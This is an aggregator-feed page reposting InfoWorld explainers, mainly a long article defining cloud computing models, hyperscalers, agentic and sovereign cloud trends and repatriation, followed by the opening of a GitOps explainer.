<li><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">Platform-as-a-service (PaaS) explained</a></li>



<li><a href="https://www.infoworld.com/article/2238873/what-is-cloud-computing.html">What is cloud computing</a></li>



<li><a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">Multicloud explained</a></li>



<li><a href="https://www.infoworld.com/article/2259475/what-is-agile-methodology-modern-software-development-explained.html">Agile methodology explained</a></li>



<li><a href="https://www.infoworld.com/article/2259487/how-to-excel-in-agile-software-development.html">Agile development best practices</a></li>



<li><a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">Devops explained</a></li>



<li><a href="https://www.infoworld.com/article/2266905/devops-best-practices-the-5-methods-you-should-adopt.html">Devops best practices</a></li>



<li><a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">Microservices explained</a></li>



<li><a href="https://www.infoworld.com/article/2253197/tutorial-how-to-build-microservices-apps.html">Microservices tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker and Linux containers explained</a></li>



<li><a href="https://www.infoworld.com/article/2254159/how-to-get-started-with-kubernetes-2.html">Kubernetes tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD (continuous integration and continuous delivery) explained</a></li>



<li><a href="https://www.infoworld.com/article/2268012/get-started-with-cicd-automating-application-delivery-with-cicd-pipelines.html">CI/CD best practices</a></li>
</ul>
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<title><![CDATA[What is cloud computing? From infrastructure to autonomous, agentic-driven ecosystems]]></title>
<description><![CDATA[Cloud computing continues to be the platform of choice for large applications and a driver of innovation in enterprise technology. Gartner forecasts public cloud spending alone to  the public cloud services market alone will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and...]]></description>
<link>https://tsecurity.de/de/3665669/ai-nachrichten/what-is-cloud-computing-from-infrastructure-to-autonomous-agentic-driven-ecosystems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665669/ai-nachrichten/what-is-cloud-computing-from-infrastructure-to-autonomous-agentic-driven-ecosystems/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<h3 class="wp-block-heading"></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337750/when-will-cloud-computing-stop-growing.html">Cloud computing</a> continues to be the <a href="https://www.cio.com/article/482179/volkswagen-drives-the-automotive-industry-cloud-forward.html">platform of choice for large applications</a> and a <a href="https://www.infoworld.com/article/2336917/cloud-computing-is-reinventing-cars-and-trucks.html">driver of innovation</a> in enterprise technology. <a href="https://www.gartner.com/en/newsroom/press-releases/2024-05-20-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-surpass-675-billion-in-2024#:~:text=Worldwide%20end-user%20spending%20on,(GenAI)%20and%20application%20modernization.">Gartner </a>forecasts public cloud spending alone to  the<a href="https://www.gartner.com/en/documents/6302015#:~:text=Summary,AI%20workloads%20and%20enterprise%20modernization."> public cloud services market alone </a>will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and enterprise modernization.</p>



<p class="wp-block-paragraph">Driving this growth are the rise of <a href="https://www.infoworld.com/article/2262333/youre-doing-cloud-based-ai-and-machine-learning-wrong.html">AI and machine learning on the cloud</a>, <a href="https://www.infoworld.com/article/2335144/what-happened-to-edge-computing.html">adoption of edge computing</a>, the maturation of <a href="https://www.infoworld.com/article/3406501/what-is-serverless-serverless-computing-explained.html">serverless computing</a>, the emergence of <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud strategies</a>, improved security and privacy, and more sustainable cloud practices.</p>



<h2 class="wp-block-heading">What is cloud computing?</h2>



<p class="wp-block-paragraph">While often used broadly, the term cloud computing is defined as an abstraction of compute, storage, and network infrastructure assembled as a platform on which applications and systems are deployed quickly and scaled on the fly.</p>



<p class="wp-block-paragraph">Most cloud customers consume <a href="https://www.cio.com/article/2097657/6-cloud-market-forces-impacting-it-strategies-today.html">public cloud </a>computing services over the internet, which are hosted in large, remote data centers maintained by cloud providers. The most common type of cloud computing, SaaS (software as service), delivers prebuilt applications to the browsers of customers who pay per seat or by usage, exemplified by such popular apps as Salesforce, Google Docs, or Microsoft Teams.</p>



<h3><strong> 5 top trends in cloud computing</strong></h3>

<ol>
<li><strong>Agentic cloud ecosystems: </strong> The shift from AI as a tool to AI as an autonomous operator within cloud environments.</li>
<li><strong>Sovereign and localized clouds: </strong> Meeting strict national data residency and digital sovereignty laws.</li>
<li><strong>Specialized AI hardware access: </strong> Navigating the GPU capacity crunch through reserved instances and boutique AI clouds.</li>
<li><strong>Integrated greenOps: </strong>Merging cost optimization with mandatory carbon-footprint reporting.</li>
<li><strong>Industry-specific walled gardens: </strong> The maturation of vertical clouds into highly regulated, precompliant environments for finance and healthcare.</li>
</ol>






<p class="wp-block-paragraph">Next in line is IaaS (infrastructure as a service), which offers vast, virtualized compute, storage, and network infrastructure upon which customers build their own applications, often with the aid of providers’ <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">API</a>-accessible services.</p>



<p class="wp-block-paragraph">When people refer to the “the cloud” today, they most often mean the big IaaS providers: AWS (Amazon Web Services), Google Cloud Platform, or Microsoft Azure. All three have become ecosystems of services that go way beyond infrastructure and include developer tools, serverless computing, machine learning services and APIs, data warehouses, and thousands of other services. With both SaaS and IaaS, a key benefit is agility. Customers gain new capabilities almost instantly without the capital investment in hardware or software on-premises — and they can instantly scale the cloud resources they consume up or down as needed.</p>



<p class="wp-block-paragraph">According to <a href="https://foundryco.com/research/cloud-computing/">Foundry’s Cloud Computing Study, 2025</a>, enterprises are moving to the cloud to improve security and/or governance, increase scalability​, accelerate adoption of artificial intelligence and machine learning and other new technologies, replace on-premises legacy technology, ​improve employee productivity, and ensure disaster recovery and business continuity.</p>



<h2 class="wp-block-heading">Hyperscalers now dominate cloud services</h2>



<p class="wp-block-paragraph">The largest cloud service providers are often described as hyperscalers, due to their capability to provide large-scale data centers across the globe. Hyperscalers typically offer a wide range of cloud services, including IaaS, PaaS, SaaS, and more.</p>



<p class="wp-block-paragraph">As mentioned above, notable hyperscalers include Amazon Web Services (AWS), Google Cloud Platform, and Microsoft Azure. They offer the following capabilities.</p>



<ul class="wp-block-list">
<li><strong>Scalability</strong>: Hyperscalers can handle massive workloads and scale resources up or down quickly.</li>



<li><strong>Cost-effectiveness</strong>: Hyperscalers often offer competitive pricing and economies of scale.</li>



<li><strong>Global reach</strong>: Hyperscalers operate data centers around the world, providing low-latency access to customers in different regions.</li>



<li><strong>Innovation</strong>: Hyperscalers are at the forefront of cloud innovation, offering new services and features.</li>
</ul>



<h3 class="wp-block-heading">Challenges of working with hyperscalers</h3>



<ul class="wp-block-list">
<li><strong>Vendor lock-in</strong>: Relying heavily on a single hyperscaler can create <a href="https://www.cio.com/article/648048/hyperscalers-in-crosshairs-for-anti-competitive-pricing-and-lock-in.html">vendor lock-in</a>, making it difficult to switch to another provider and charging large egress fees if you do move.</li>



<li><strong>Complexity</strong>: Hyperscalers offer a vast array of services, which can be overwhelming for some customers.</li>



<li><strong>Security concerns</strong>: Because hyperscalers handle sensitive data, security is a major concern.</li>
</ul>



<h2 class="wp-block-heading"><strong>AI, Agents, and the Sovereign Cloud</strong></h2>



<p class="wp-block-paragraph">The AI-enabled enterprise has moved beyond simple chatbots. The focus has shifted to <strong>agentic workflows </strong>— autonomous systems that reside in the cloud and possess the authority to execute business processes, manage cloud spend, and self-patch security vulnerabilities without human intervention.</p>



<h3 class="wp-block-heading"><strong>The shift to agentic infrastructure</strong></h3>



<p class="wp-block-paragraph">Cloud providers are no longer just selling compute. They are selling <strong>inference-as-a-service</strong>. Modern cloud budgets are now dominated by the high cost of specialized GPU clusters (such as Nvidia’s Blackwell architecture). This has led to the rise of boutique AI clouds that compete with hyperscalers by offering bare-metal access to the latest silicon specifically for model training and fine-tuning.</p>



<h3 class="wp-block-heading"><strong>Data sovereignty and private AI</strong></h3>



<p class="wp-block-paragraph">A major shift in late 2025 is the move away from public AI models for sensitive data. Organizations are increasingly using retrieval-augmented generation (RAG) within walled garden environments. This ensures that a company’s proprietary data never leaves their specific cloud instance to train a provider’s base model.</p>



<p class="wp-block-paragraph">Furthermore, sovereign AI has become a requirement for global operations. Governments now demand that the AI models processing their citizens’ data be hosted on infrastructure that is owned, operated, and governed within their own borders.</p>



<h3 class="wp-block-heading"><strong>The challenges of ghost AI</strong></h3>



<p class="wp-block-paragraph">Just as shadow IT plagued the 2010s, ghost AI—unauthorized AI agents running on corporate cloud accounts — has become a primary security risk. Managing these autonomous entities requires a new layer of <strong>AI governance</strong>, where the cloud provider automatically audits the intent and permissions of every running agent to prevent runaway costs or data leaks.</p>



<h2 class="wp-block-heading">Cloud computing definitions</h2>



<p class="wp-block-paragraph">In 2011, <a href="https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-145.pdf">NIST posted a PDF</a> that divided cloud computing into three “service models” — SaaS, IaaS, and PaaS (platform as a service) — the latter being a controlled environment within which customers develop and run applications. These three categories have largely stood the test of time, although most PaaS solutions now are made available as services within IaaS ecosystems rather than as dedicated PaaS clouds.</p>



<p class="wp-block-paragraph">Two evolutionary trends stand out since NIST’s threefold definition. One is the long and growing list of subcategories within SaaS, IaaS, and PaaS, some of which blur the lines between categories. The other is the explosion of API-accessible services available in the cloud, particularly within IaaS ecosystems. The cloud has become a crucible of innovation where many emerging technologies appear first as services, a big attraction for business customers who understand the potential competitive advantages of early adoption.</p>



<h3 class="wp-block-heading"><strong>SaaS (software as a service) definition</strong></h3>



<p class="wp-block-paragraph">This type of cloud computing delivers applications over the internet, typically with a browser-based user interface. Today, most software companies offer their wares via <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">SaaS </a>— if not exclusively, then at least as an option.</p>



<p class="wp-block-paragraph">The most popular SaaS applications for business are <a href="https://www.computerworld.com/article/3570821/google-workspace-explained-googles-answer-to-microsoft-365.html">Google’s G Suite</a> and <a href="https://www.computerworld.com/article/1710782/office-2021-vs-microsoft-365-office-365-how-to-choose.html">Microsoft’s Office 365</a>. Most enterprise applications, including giant <a href="https://www.cio.com/article/272362/what-is-erp-key-features-of-top-enterprise-resource-planning-systems.html">ERP</a> suites from Oracle and SAP, come in both SaaS and on-premises versions. SaaS applications typically offer extensive configuration options as well as development environments that enable customers to code their own modifications and additions. They also enable data integration with on-prem applications.</p>



<h3 class="wp-block-heading"><strong>IaaS (infrastructure as a service) definition</strong></h3>



<p class="wp-block-paragraph">At a basic level, <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">IaaS </a>cloud providers offer virtualized compute, storage, and networking over the internet on a pay-per-use basis. Think of it as a data center maintained by someone else, remotely, but with a software layer that virtualizes all those resources and automates customers’ ability to allocate them with little trouble.</p>



<p class="wp-block-paragraph">But that’s just the basics. The full array of services offered by the major public IaaS providers is staggering: <a href="https://www.infoworld.com/article/2269279/the-era-of-the-cloud-database-has-finally-begun.html">highly scalable databases</a>, virtual private networks, <a href="https://www.infoworld.com/article/2255434/what-is-big-data-analytics-fast-answers-from-diverse-data-sets.html">big data analytics</a>, <a href="https://www.infoworld.com/article/2259367/buyers-guide-how-to-choose-a-cloud-machine-learning-platform.html">AI and machine learning services</a>, application platforms, developer tools, <a href="https://www.infoworld.com/article/3215275/what-is-devops-transforming-software-development.html">devops</a> tools, and so on. Amazon Web Services was the first IaaS provider and remains the leader, followed by <a href="https://www.infoworld.com/article/2269424/azure-cloud-services-guide-the-right-tools-for-the-job.html">Microsoft Azure</a>, <a href="https://www.infoworld.com/article/2263677/google-cloud-platform-services-guide-the-right-tools-for-the-job.html">Google Cloud Platform</a>, <a href="https://www.infoworld.com/article/2256709/ibm-cloud-services-guide-the-right-tools-for-the-job.html">IBM Cloud</a>, and <a href="https://www.infoworld.com/article/3529339/oracle-cloudworld-2024-10-key-takeaways-from-the-big-annual-event.html">Oracle Cloud</a>.</p>



<h3 class="wp-block-heading"><strong>PaaS (platform as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">PaaS</a> provides sets of services and workflows that specifically target developers, who can use shared tools, processes, and APIs to accelerate the development, testing, and deployment of applications. Salesforce’s <a href="https://www.infoworld.com/article/2257217/5-foolish-reasons-youre-not-using-heroku.html">Heroku</a> and Salesforce Platform (formerly Force.com) are popular public cloud PaaS offerings; <a href="https://www.infoworld.com/article/2258957/cloud-foundry-stages-a-comeback.html">Cloud Foundry</a> and Red Hat’s <a href="https://www.infoworld.com/article/2261552/red-hat-openshift-adds-containers-and-microservices-features-for-developers.html">OpenShift</a> can be deployed on premises or accessed through the major public clouds. For enterprises, PaaS can ensure that developers have ready access to resources, follow certain processes, and use only a specific array of services, while operators maintain the underlying infrastructure.</p>



<h3 class="wp-block-heading"><strong>FaaS (function as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256402/paas-caas-or-faas-how-to-choose.html">FaaS</a>, the original and most basic version of <a href="https://www.infoworld.com/article/2266283/serverless-in-the-cloud-aws-vs-google-cloud-vs-microsoft-azure.html">serverless computing</a>, adds another layer of abstraction to PaaS, so that developers are insulated from everything in the stack below their code. Instead of futzing with virtual servers, containers, and application runtimes, developers upload narrowly functional blocks of code, and set them to be triggered by a certain event (such as a form submission or uploaded file). All of the major clouds offer FaaS on top of IaaS: <a href="https://www.infoworld.com/article/2265897/aws-lambda-tutorial-get-started-with-serverless-computing-2.html">AWS Lambda</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Azure Functions</a>, <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google Cloud Functions</a>, and IBM Cloud Functions. A special benefit of FaaS applications is that they consume no IaaS resources until an event occurs, reducing pay-per-use fees.</p>



<h3 class="wp-block-heading"><strong>Private cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2179737/build-your-own-private-cloud-2.html">private cloud</a> downsizes the technologies used to run IaaS public clouds into software that can be deployed and operated in a customer’s data center. As with a public cloud, internal customers can provision their own virtual resources to build, test, and run applications, with metering to charge back departments for resource consumption. For administrators, the private cloud amounts to the ultimate in data center automation, minimizing manual provisioning and management.</p>



<p class="wp-block-paragraph">VMware remains a force in the private cloud software market, but the acquisition by Broadcom has created confusion and raised concerns among some customers about potential changes in pricing, licensing, and support. This could lead some organizations to explore alternative solutions.</p>



<p class="wp-block-paragraph">OpenStack continues to be a popular open-source choice for building private clouds. It offers a flexible and customizable platform that can be tailored to specific needs. However, OpenStack can be complex to deploy and manage, and it may require significant expertise to maintain.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3268073/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a>, a container orchestration platform that has gained significant traction in recent years, is often used in conjunction with other technologies like OpenStack to build <a href="https://www.infoworld.com/article/3281046/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native</a> applications. Red Hat OpenShift is a comprehensive cloud platform based on Kubernetes that provides a managed experience for deploying and managing <a href="https://www.infoworld.com/article/3310941/why-you-should-use-docker-and-containers.html">container</a>-based, applications.</p>



<p class="wp-block-paragraph">Many cloud providers offer their own cloud-native platforms and tools, such as <a href="https://www.networkworld.com/article/968169/aws-rolls-out-outposts-for-on-premises-hybrid-cloud.html">AWS Outposts</a>, <a href="https://www.infoworld.com/article/2253985/a-cloud-in-your-datacenter-microsoft-azure-stack-arrives.html">Azure Stack</a>, and <a href="https://www.infoworld.com/article/2257617/what-is-google-cloud-anthos-managed-kubernetes-everywhere.html">Google Cloud Anthos</a>.</p>



<p class="wp-block-paragraph">Common factors to consider when evaluating private cloud platforms include the following:</p>



<ol class="wp-block-list">
<li><strong>Pricing</strong>: The initial cost of deployment and ongoing maintenance costs.</li>



<li><strong>Complexity</strong>: The level of technical expertise needed to manage the platform.</li>



<li><strong>Flexibility</strong>: The ability to customize the platform to meet specific needs.</li>



<li><strong>Vendor lock-in</strong>: The degree to which the organization is tied to a particular vendor.</li>



<li><strong>Security</strong>: The security features and capabilities of the platform.</li>



<li><strong>Scalability</strong>: The capability to expand the platform to meet future needs.</li>
</ol>



<h3 class="wp-block-heading"><strong>Hybrid cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2257084/hybrid-cloud-private-cloud-public-cloud-multicloud-how-to-choose.html">hybrid cloud</a> is the integration of a private cloud with a public cloud. At its most developed, the hybrid cloud involves creating parallel environments in which applications can move easily between private and public clouds. In other instances, databases may stay in the customer data center and integrate with public cloud applications — or virtualized data center workloads may be replicated to the cloud during times of peak demand. The types of integrations between private and public clouds vary widely, but they must be extensive to earn a hybrid cloud designation.</p>



<h3 class="wp-block-heading"><strong>Public APIs (application programming interfaces) definition</strong></h3>



<p class="wp-block-paragraph">Just as SaaS delivers applications to users over the internet, public <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a> offer developers application functionality that can be accessed programmatically. For example, in building web applications, developers often tap into the Google Maps API to provide driving directions; to integrate with social media, developers may call upon APIs maintained by Twitter, Facebook, or LinkedIn. <a href="https://www.infoworld.com/article/2253662/get-started-with-twilios-programmable-video-api.html">Twilio</a> has built a successful business delivering telephony and messaging services via public APIs. Ultimately, any business can provision its own public APIs to enable customers to consume data or access application functionality.</p>



<h3 class="wp-block-heading"><strong>iPaaS (integration platform as a service) definition</strong></h3>



<p class="wp-block-paragraph">Data integration is a key issue for any sizeable company, but particularly for those that adopt SaaS at scale. iPaaS providers typically offer prebuilt connectors for sharing data among popular SaaS applications and on-premises enterprise applications, though providers may focus more or less on business-to-business and e-commerce integrations, cloud integrations, or traditional SOA-style integrations. iPaaS offerings in the cloud from such providers as Dell Boomi, Informatica, MuleSoft, and SnapLogic also let users implement data mapping, transformations, and workflows as part of the integration-building process.</p>



<h3 class="wp-block-heading"><strong>IDaaS (identity as a service) definition</strong></h3>



<p class="wp-block-paragraph">The most difficult security issue related to <a href="https://www.infoworld.com/article/2268884/why-cloud-computing-is-always-a-good-question.html">cloud computing</a> is managing user identity and its associated rights and permissions across data centers and pubic cloud sites. <a href="https://www.csoonline.com/article/572759/idaas-explained-how-it-compares-to-iam.html">IDaaS providers</a> maintain cloud-based user profiles that authenticate users and enable access to resources or applications based on security policies, user groups, and individual privileges. The ability to integrate with various directory services (Active Directory, LDAP, etc.) and provide single sign-on across business-oriented SaaS applications is essential.</p>



<p class="wp-block-paragraph">Leaders in IDaaS include Microsoft, IBM, Google, Oracle, Okta, Capgemini, Okta, Junio Corporation, OneLogin, and JumpCloud. <strong> </strong></p>



<h3 class="wp-block-heading"><strong>Collaboration platforms</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/3595255/slack-adds-templates-to-help-users-kick-off-projects-quicker.html">Collaboration solutions such as Slack</a> and <a href="https://www.computerworld.com/article/3593909/microsoft-combines-teams-chat-and-channels-in-ui-refresh.html">Microsoft Teams</a> have become vital messaging platforms that enable groups to communicate and work together effectively. Basically, these solutions are relatively simple SaaS applications that support chat-style messaging along with file sharing and audio or video communication. Most offer APIs to facilitate integrations with other systems and enable third-party developers to create and share add-ins that augment functionality.</p>



<h3 class="wp-block-heading"><strong>Vertical clouds</strong></h3>



<p class="wp-block-paragraph">Key providers in such industries as financial services, healthcare, retail, life sciences, and manufacturing provide PaaS clouds to enable customers to build vertical applications that tap into industry-specific, API-accessible services. Vertical clouds can dramatically reduce the time to market for vertical applications and accelerate domain-specific B2B integrations. Most vertical clouds are built with the intent of nurturing partner ecosystems.</p>



<h2 class="wp-block-heading"><strong>Other cloud computing considerations</strong></h2>



<p class="wp-block-paragraph">The most widely accepted definition of cloud computing means that you run your workloads on someone else’s servers, but this is not the same as outsourcing. Virtual cloud resources and even SaaS applications must be configured and maintained by the customer. Consider these factors when planning a cloud initiative.</p>



<h3 class="wp-block-heading"><strong>Cloud computing security considerations</strong></h3>



<p class="wp-block-paragraph">Objections to the public cloud generally begin with <a href="https://www.csoonline.com/article/555213/top-cloud-security-threats.html">cloud security</a>, although the major public clouds have proven themselves much less susceptible to attack than the average enterprise data center.</p>



<p class="wp-block-paragraph">Of greater concern is the integration of security policy and identity management between customers and public cloud providers. In addition, government regulation may forbid customers from allowing sensitive data off-premises. Other concerns include the risk of outages and the long-term operational costs of public cloud services.</p>



<h3 class="wp-block-heading"><strong>Multicloud management considerations</strong></h3>



<p class="wp-block-paragraph">To enhance their operational efficiency, reduce costs, and improve security, many companies are increasingly turning to <a href="https://www.infoworld.com/article/2335587/can-cloud-computing-be-truly-federated.html">multicloud strategies</a>. By distributing workloads across <a href="https://www.infoworld.com/article/2336303/are-the-different-public-clouds-really-that-different.html">multiple cloud providers</a>, organizations can avoid vendor lock-in, <a href="https://www.infoworld.com/article/2261783/3-cloud-architecture-patterns-that-optimize-scalability-and-cost.html">optimize costs</a>, and leverage the best-of-breed services offered by different providers.</p>



<p class="wp-block-paragraph">This multicloud approach also improves performance and reliability by minimizing downtime and optimizing latency. Additionally, multicloud strategies strengthen security by diversifying the attack surface and facilitating compliance with industry regulations. Finally, by replicating critical workloads across multiple regions and providers, companies can establish robust disaster recovery and business continuity plans, ensuring minimal disruption in the event of catastrophic failures.</p>



<p class="wp-block-paragraph">The bar to qualify as a <a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">multicloud</a> adopter is low: A customer just needs to use more than one public cloud service. However, depending on the number and variety of cloud services involved, managing multiple clouds can become complex from both a cost optimization and a technology perspective.</p>



<p class="wp-block-paragraph">In some cases, customers subscribe to multiple cloud services simply to avoid dependence on a single provider. A more sophisticated approach is to select public clouds based on the unique services they offer and, in some cases, integrate them. For example, developers might want to use Google’s <a href="https://www.infoworld.com/article/2336686/google-vertex-ai-studio-puts-the-promise-in-generative-ai.html">Vertex AI Studio</a> on Google Cloud Platform to build AI-driven applications, but prefer <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a> hosted on the CloudBees platform for <a href="https://www.infoworld.com/article/3271126/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration</a>.</p>



<p class="wp-block-paragraph">To control costs and reduce management overhead, some customers opt for <a href="https://www.infoworld.com/article/3520828/how-cloud-custodian-conquered-cloud-resource-management.html">cloud management platforms</a> (CMPs) and/or cloud service brokers (CSBs), which let you manage multiple clouds as if they were one cloud. The problem is that these solutions tend to limit customers to such common-denominator services as storage and compute, ignoring the panoply of services that make each cloud unique.</p>



<h3 class="wp-block-heading"><strong>Edge computing considerations</strong></h3>



<p class="wp-block-paragraph">You often see <a href="https://www.networkworld.com/article/964305/what-is-edge-computing-and-how-it-s-changing-the-network.html">edge computing</a> incorrectly described as an alternative to cloud computing. Edge computing is about moving compute to local devices in a highly distributed system, typically as a layer around a cloud computing core. There is typically a cloud involved to orchestrate all of the devices and take in their data, then analyze it or otherwise act on it. </p>



<h3 class="wp-block-heading"><strong>To the cloud and back – why repatriation is real</strong></h3>



<p class="wp-block-paragraph">While public cloud offers scalability and flexibility, some enterprises are opting to <a href="https://www.infoworld.com/article/2336102/why-companies-are-leaving-the-cloud.html">return to on-premises infrastructure</a> due to rising costs, data security concerns, performance issues, vendor lock-in, and regulatory compliance challenges. While the public cloud offers scalability and flexibility, on-premises infrastructure provides greater control, customization, and potential cost savings in certain scenarios leading some technology decision-makers to <a href="https://www.infoworld.com/article/2336835/do-you-need-to-repatriate-from-the-cloud.html">consider repatriation</a>. However, a hybrid cloud approach, combining public and private cloud, often offers the best balance of benefits.</p>



<p class="wp-block-paragraph">More specific reasons to repatriate including the following:</p>



<ul class="wp-block-list">
<li>Unanticipated costs, such as data transfer fees, storage charges, and <a href="https://www.infoworld.com/article/2336430/why-public-cloud-providers-are-cutting-egress-fees.html">egress fees</a>, can quickly escalate, especially for large-scale cloud deployments.  </li>



<li>Inaccurate resource provisioning or underutilization can lead to higher-than-expected costs.</li>



<li>Stricter <a href="https://www.infoworld.com/article/3545268/why-cloud-security-outranks-cost-and-scalability.html">data privacy regulations</a> require organizations to store and process data within specific geographic boundaries.  </li>



<li>For highly sensitive data, companies may prefer to maintain greater control over security measures and access permissions. </li>



<li><a href="https://www.infoworld.com/article/2338856/cloud-may-be-overpriced-compared-to-on-premises-systems.html">On-premises infrastructure</a> can offer lower latency, particularly for applications requiring real-time processing or high-performance computing.  </li>



<li>Overreliance on a single cloud provider can limit flexibility and increase costs. Repatriation allows organizations to diversify their infrastructure and reduce vendor dependency.  </li>



<li>Industries with stringent compliance requirements may find it easier to meet standards with on-premises infrastructure.  </li>



<li>On-premises environments offer greater control over hardware, software, and network configurations, allowing for customized solutions.  </li>
</ul>



<h2 class="wp-block-heading"><strong>Benefits of cloud computing</strong></h2>



<p class="wp-block-paragraph">The cloud’s main appeal is to reduce the time to market of applications that need to scale dynamically. Increasingly, however, developers are drawn to the cloud by the abundance of advanced new services that can be incorporated into applications, from machine learning to internet of things (IoT) connectivity.</p>



<p class="wp-block-paragraph">Although businesses sometimes migrate legacy applications to the cloud to reduce data center resource requirements, the real benefits accrue to new applications that take advantage of cloud services and “cloud native” attributes. The latter include <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices architecture</a>, <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Linux containers</a> to enhance application portability, and container management solutions such as <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> that orchestrate container-based services. <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">Cloud-native</a> approaches and solutions can be part of either public or private clouds and help enable highly efficient <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> workflows.</p>



<p class="wp-block-paragraph">Cloud computing, be it public or private or hybrid or multicloud, has become the platform of choice for large applications, particularly customer-facing ones that need to change frequently or scale dynamically. More significantly, the major public clouds now lead the way in enterprise technology development, debuting new advances before they appear anywhere else. Workload by workload, enterprises are opting for the cloud, where an endless parade of exciting new technologies invite innovative use.</p>



<p class="wp-block-paragraph">SaaS has its roots in the ASP (application service provider) trend of the early 2000s, when providers would run applications for business customers in the provider’s data center, with dedicated instances for each customer. The ASP model was a spectacular failure because it quickly became impossible for providers to maintain so many separate instances, particularly as customers demanded customizations and updates.</p>



<p class="wp-block-paragraph">Salesforce is widely considered the first company to launch a highly successful SaaS application using <a href="https://www.infoworld.com/article/2335534/the-evolution-of-multitenancy-for-cloud-computing.html">multitenancy</a> — a defining characteristic of the SaaS model. Rather than each Salesforce customer getting its own application instance, customers who subscribe to the company’s salesforce automation software share a single, large, dynamically scaled instance of an application (like tenants sharing an apartment building), while storing their data in separate, secure repositories on the SaaS provider’s servers. Fixes can be rolled out behind the scenes with zero downtime and customers can receive UX or functionality improvements as they become available.</p>



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<title><![CDATA[What is GitOps? Extending devops to Kubernetes and beyond]]></title>
<description><![CDATA[Over the past decade, software development has been shaped by two closely related transformations. One is the rise of devops and continuous integration and continuous delivery (CI/CD), which brought development and operations teams together around automated, incremental software delivery.



The ...]]></description>
<link>https://tsecurity.de/de/3665667/ai-nachrichten/what-is-gitops-extending-devops-to-kubernetes-and-beyond/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665667/ai-nachrichten/what-is-gitops-extending-devops-to-kubernetes-and-beyond/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past decade, software development has been shaped by two closely related transformations. One is the rise of <a href="https://www.infoworld.com/article/2255028/what-is-devops-bringing-dev-and-ops-together-for-better-software.html">devops</a> and <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration and continuous delivery</a> (CI/CD), which brought development and operations teams together around automated, incremental software delivery.</p>



<p class="wp-block-paragraph">The other is the shift from monolithic applications to distributed, cloud-native systems built from microservices and containers, typically managed by orchestration platforms such as <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>.</p>



<p class="wp-block-paragraph">While Kubernetes and similar platforms simplify many aspects of running distributed applications, operating these systems at scale is still complicated. Configuration sprawl, environment drift, and the need for rapid, reliable change all introduce operational challenges. GitOps emerged as a way to address those challenges by extending familiar devops and CI/CD techniques beyond application code and into infrastructure and system configuration.</p>



<p class="wp-block-paragraph">At the heart of GitOps is the concept of <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> (IaC). In a GitOps model, not only application code but also infrastructure definitions, deployment configurations, and operational settings are described in files stored in a version control system. Automated processes continuously compare the running system with those declarations and work to bring the live environment back into alignment when differences appear.</p>



<p class="wp-block-paragraph">In this approach, the version control repository serves as the system of record for how applications and their supporting infrastructure should look in production. Changes flow through the same review, approval, and automation pipelines that developers already use for software, bringing greater consistency, traceability, and repeatability to cloud-native operations.</p>



<p class="wp-block-paragraph">At a high level, GitOps refers to a set of operational practices for managing cloud-native systems using declarative configuration, version control, and automated reconciliation. Rather than treating infrastructure and application configuration as mutable runtime state, GitOps treats them as versioned artifacts that move through the same review, testing, and deployment processes as application code.</p>



